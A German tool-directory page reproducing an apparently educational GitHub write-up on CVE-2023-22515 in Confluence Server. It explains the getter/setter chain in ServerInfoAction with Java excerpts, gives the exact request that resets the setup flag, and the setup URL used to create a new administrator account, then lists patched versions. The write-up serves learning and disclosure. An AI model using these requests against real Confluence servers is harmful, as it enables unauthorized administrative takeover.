Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2023-22515 — Server Broken Access Control in Confluence – CVE-2023-22515 | Kitploit
Tools/GitHubGitHub/lucaspdiniz/cve-2023-22515
Privilege EscalationSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & Bildung
GitHublucaspdiniz/cve-2023-22515

CVE-2023-22515

Server Broken Access Control in Confluence – CVE-2023-22515

Repository anzeigen
21vor 2 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Confluence-Sicherheitslücke - CVE-2023-22515 📓

Einführung

Atlassian wurde über eine mögliche Sicherheitslücke informiert, die ausgenutzt werden könnte und die Umgebung durch administrativen Zugriff gefährdet. Am 4. Oktober 2023 veröffentlichte Atlassian eine Sicherheitswarnung bezüglich CVE-2023-22515, die einen CVE-Wert von 10,0 erhielt. Die Sicherheitslücke wurde in Version 8.0.0 von Confluence Server und Data Center Editionen eingeführt und ist in den Versionen <8.3.3, <8.4.3, <8.5.2 vorhanden.

Ein Angreifer kann die Sicherheitslücke ausnutzen, um ein zusätzliches Konto in Confluence mit vollen Administratorrechten zu erstellen. Der Angreifer benötigt keine Vorkenntnisse, um die Sicherheitslücke auszunutzen. Es wird angenommen, dass die Sicherheitslücke andere unbekannte Angriffsvektoren ermöglicht, und sie sollte so schnell wie möglich gepatcht werden.

Erklärung der Ausnutzung ⚠️

Mit dieser Sicherheitslücke kann der Angreifer zur Einrichtungsphase der Confluence-Konfiguration zurückkehren und einen neuen Benutzer mit Administratorzugriff erstellen. Dies ist alles möglich, weil Confluence mit dem Apache Struts Framework erstellt wurde, das vom XWork-Paket abhängt. XWork ermöglicht es, Aktionen in Form einer Java-Klasse zu definieren. Jede Aktion kann über eine URL aufgerufen werden, und die entsprechende Java-Klasse bearbeitet die Anfrage, führt aus, was die Aktion erfordert, und gibt eine Antwort aus.

Dieses Problem tritt hauptsächlich aufgrund einer Klassenaktion auf, bei der wir Attribute über die URL aufrufen können.

  • Verkettung von Gettern/Settern zur Wiederherstellung der Ersteinrichtung

Die Ausnutzung findet in der Aktion ServerInfoAction statt, wo wir die Getter/Setter der Klasse manipulieren und die Einrichtungskonfiguration zurücksetzen können.

Wenn Sie den Code der Klasse ServerInfoAction analysieren, werden Sie sehen, dass sie von der Klasse ConfluenceActionSupport erbt. Dadurch erbt sie auch alle ihre Methoden. Eine solche Methode ist ein Getter, der ein BootstrapStatusProvider-Objekt zurückgibt:

root@kitploit:~
public class ConfluenceActionSupport extends ActionSupport implements LocaleProvider, WebInterface, MessageHolderAware {
  public BootstrapStatusProvider getBootstrapStatusProvider() {
    if (this.bootstrapStatusProvider == null)
      this.bootstrapStatusProvider = BootstrapStatusProviderImpl.getInstance(); 
    return this.bootstrapStatusProvider;
  }
}

Wir interessieren uns für die Klasse BootstrapStatusProvider, weil sie eine weitere Getter-Methode hat, mit der wir ein ApplicationConfiguration-Objekt abrufen können:

root@kitploit:~
public class BootstrapStatusProviderImpl implements BootstrapStatusProvider, BootstrapManagerInternal {
  public ApplicationConfiguration getApplicationConfig() {
    return this.delegate.getApplicationConfig();
  }
}

Dieses Objekt enthält die Anwendungskonfiguration, einschließlich eines Attributs, das Confluence mitteilt, ob die Ersteinrichtung abgeschlossen wurde. Ein solches Attribut kann mithilfe eines Setters in der ApplicationConfig-Klasse geändert werden:

root@kitploit:~
public class ApplicationConfig implements ApplicationConfiguration {
  public synchronized void setSetupComplete(boolean setupComplete) {
    this.setupComplete = setupComplete;
  }  
}

Wenn wir setSetupComplete(false) aufrufen können, können wir den Einrichtungskonfigurationsprozess zurücksetzen, und wir können dies mit den Getter/Setter-Methoden wie folgt tun:

root@kitploit:~
http://10.10.227.86:8090/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false

Diese URL ruft alle zuvor genannten Methoden auf und gelangt zur Zielmethode, die für das Zurücksetzen der Einrichtung verantwortlich ist.

root@kitploit:~
getBootstrapStatusProvider().getApplicationConfig().setSetupComplete(false)

Praktische Anwendung ✍️

Nachfolgend sehen Sie ein Beispiel eines Servers mit einer angreifbaren Version von Confluence.

Versuchen wir, den Einrichtungsprozess mit dem oben beschriebenen Methodenaufruf neu zu starten:

root@kitploit:~
http://atlassian.poc:8090/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false

Nachdem wir den Parameter setupcomplete auf false gesetzt haben, erhalten wir die Rückmeldung 'success'. Das bedeutet, dass der Versuch, den Parameter zu ändern, erfolgreich war.

  • Erstellen eines neuen Administratorkontos 🔥

Versuchen wir, ein neues Konto zu erstellen, indem wir die Setup-URL aufrufen, mit der wir den Prozess zurückgesetzt haben.

root@kitploit:~
http://atlassian.poc:8090/setup/setupadministrator-start.action

  • Erledigt !!! ✔️

Wir konnten den Einrichtungsprozess zurücksetzen und einen neuen Benutzer mit Administratorzugriff erstellen.

Patchen ✅

Die Sicherheitslücke wurde in den Versionen 8.3.3, 8.4.3 und 8.5.2 behoben. Alle neueren Versionszweige sollten ebenfalls sicher sein.

Weitere Details zu dieser Sicherheitslücke hat Atlassian auf seiner Website veröffentlicht (Mehr dazu - Atlassian).

Tool herunterladen